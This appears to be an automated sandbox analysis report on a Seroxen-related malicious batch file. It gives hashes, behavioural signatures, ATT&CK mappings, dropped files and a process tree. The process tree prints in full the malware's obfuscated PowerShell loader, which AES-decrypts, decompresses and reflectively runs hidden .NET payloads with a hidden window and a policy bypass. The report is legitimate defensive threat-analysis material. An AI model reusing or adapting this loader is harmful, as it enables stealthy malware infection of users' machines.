48651a44a3a744fdc099d080dde0f99dbdb8843c09f16bafedcb11e15859ea45

General

Target

050efb70d521f74a42dcd63c703900433b03cf138fcfa1812705c8cb37deb1ea.bat
Size

14.6MB
MD5

9644bf6130818a23b7820e4441d84d6a
SHA1

654d821a794488acba87a809e8eab889eb9845db
SHA256

050efb70d521f74a42dcd63c703900433b03cf138fcfa1812705c8cb37deb1ea
SHA512

db83473f76f680fa8f93da5bfa71d2b396f4cef44d222e75430a09432c68b67e37c92ca56b7f5d54265cbbb44145df00a11ccf89c498a391af609a2976c6beb9
SSDEEP

49152:VfcOj5SiJ6+FBW/rRNkFa34CG36ICLvbtSAKsASfycGoA+uVteH7ki8KjXtXH8xU:u

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
2708	050efb70d521f74a42dcd63c703900433b03cf138fcfa1812705c8cb37deb1ea.bat.exe

Loads dropped DLL 1 IoCs

pid	Process
2196	cmd.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\$sxr-seroxen2\$sxr-Uni.bat	cmd.exe
File opened for modification	C:\Windows\$sxr-seroxen2\$sxr-Uni.bat	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2708	050efb70d521f74a42dcd63c703900433b03cf138fcfa1812705c8cb37deb1ea.bat.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2708	050efb70d521f74a42dcd63c703900433b03cf138fcfa1812705c8cb37deb1ea.bat.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 2196 wrote to memory of 1936	2196	cmd.exe	29
PID 2196 wrote to memory of 1936	2196	cmd.exe	29
PID 2196 wrote to memory of 1936	2196	cmd.exe	29
PID 1936 wrote to memory of 1712	1936	net.exe	30
PID 1936 wrote to memory of 1712	1936	net.exe	30
PID 1936 wrote to memory of 1712	1936	net.exe	30
PID 2196 wrote to memory of 2708	2196	cmd.exe	31
PID 2196 wrote to memory of 2708	2196	cmd.exe	31
PID 2196 wrote to memory of 2708	2196	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\050efb70d521f74a42dcd63c703900433b03cf138fcfa1812705c8cb37deb1ea.bat"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:2196
- C:\Windows\system32\net.exe
  net session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1936
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:1712
- C:\Users\Admin\AppData\Local\Temp\050efb70d521f74a42dcd63c703900433b03cf138fcfa1812705c8cb37deb1ea.bat.exe
  "050efb70d521f74a42dcd63c703900433b03cf138fcfa1812705c8cb37deb1ea.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function mwWOh($uwovJ){ $lIKee=[System.Security.Cryptography.Aes]::Create(); $lIKee.Mode=[System.Security.Cryptography.CipherMode]::CBC; $lIKee.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $lIKee.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4/MHVPOJNXCgMmApeZ/aW7DfvfpDsQu0DAqCZk9AP30='); $lIKee.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('GRBc4aBzawKiY1avi58oMw=='); $epLsM=$lIKee.CreateDecryptor(); $return_var=$epLsM.TransformFinalBlock($uwovJ, 0, $uwovJ.Length); $epLsM.Dispose(); $lIKee.Dispose(); $return_var;}function XhrFJ($uwovJ){ $kffSF=New-Object System.IO.MemoryStream(,$uwovJ); $YpnXE=New-Object System.IO.MemoryStream; $ynBsy=New-Object System.IO.Compression.GZipStream($kffSF, [IO.Compression.CompressionMode]::Decompress); $ynBsy.CopyTo($YpnXE); $ynBsy.Dispose(); $kffSF.Dispose(); $YpnXE.Dispose(); $YpnXE.ToArray();}function btWsM($uwovJ,$rQWkL){ $vcWOa=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$uwovJ); $Zagwh=$vcWOa.EntryPoint; $Zagwh.Invoke($null, $rQWkL);}$chsAO=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\050efb70d521f74a42dcd63c703900433b03cf138fcfa1812705c8cb37deb1ea.bat').Split([Environment]::NewLine);foreach ($YTXXB in $chsAO) { if ($YTXXB.StartsWith('SEROXEN')) { $GBpWW=$YTXXB.Substring(7); break; }}$kYJLl=[string[]]$GBpWW.Split('\');$BbRnn=XhrFJ (mwWOh ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($kYJLl[0])));$IqrGF=XhrFJ (mwWOh ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($kYJLl[1])));btWsM $IqrGF (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));btWsM $BbRnn (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2708

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\050efb70d521f74a42dcd63c703900433b03cf138fcfa1812705c8cb37deb1ea.bat.exe

Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
\Users\Admin\AppData\Local\Temp\050efb70d521f74a42dcd63c703900433b03cf138fcfa1812705c8cb37deb1ea.bat.exe

Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
memory/2708-7-0x000000001B060000-0x000000001B342000-memory.dmp

Filesize
2.9MB

Download
memory/2708-9-0x000007FEF5AE0000-0x000007FEF647D000-memory.dmp

Filesize
9.6MB

Download
memory/2708-8-0x0000000002290000-0x0000000002298000-memory.dmp

Filesize
32KB

Download
memory/2708-10-0x000007FEF5AE0000-0x000007FEF647D000-memory.dmp

Filesize
9.6MB

Download
memory/2708-11-0x0000000002590000-0x0000000002610000-memory.dmp

Filesize
512KB

Download
memory/2708-12-0x0000000002590000-0x0000000002610000-memory.dmp

Filesize
512KB

Download
memory/2708-13-0x0000000002590000-0x0000000002610000-memory.dmp

Filesize
512KB

Download
memory/2708-14-0x000007FEF5AE0000-0x000007FEF647D000-memory.dmp

Filesize
9.6MB

Download

Analysis

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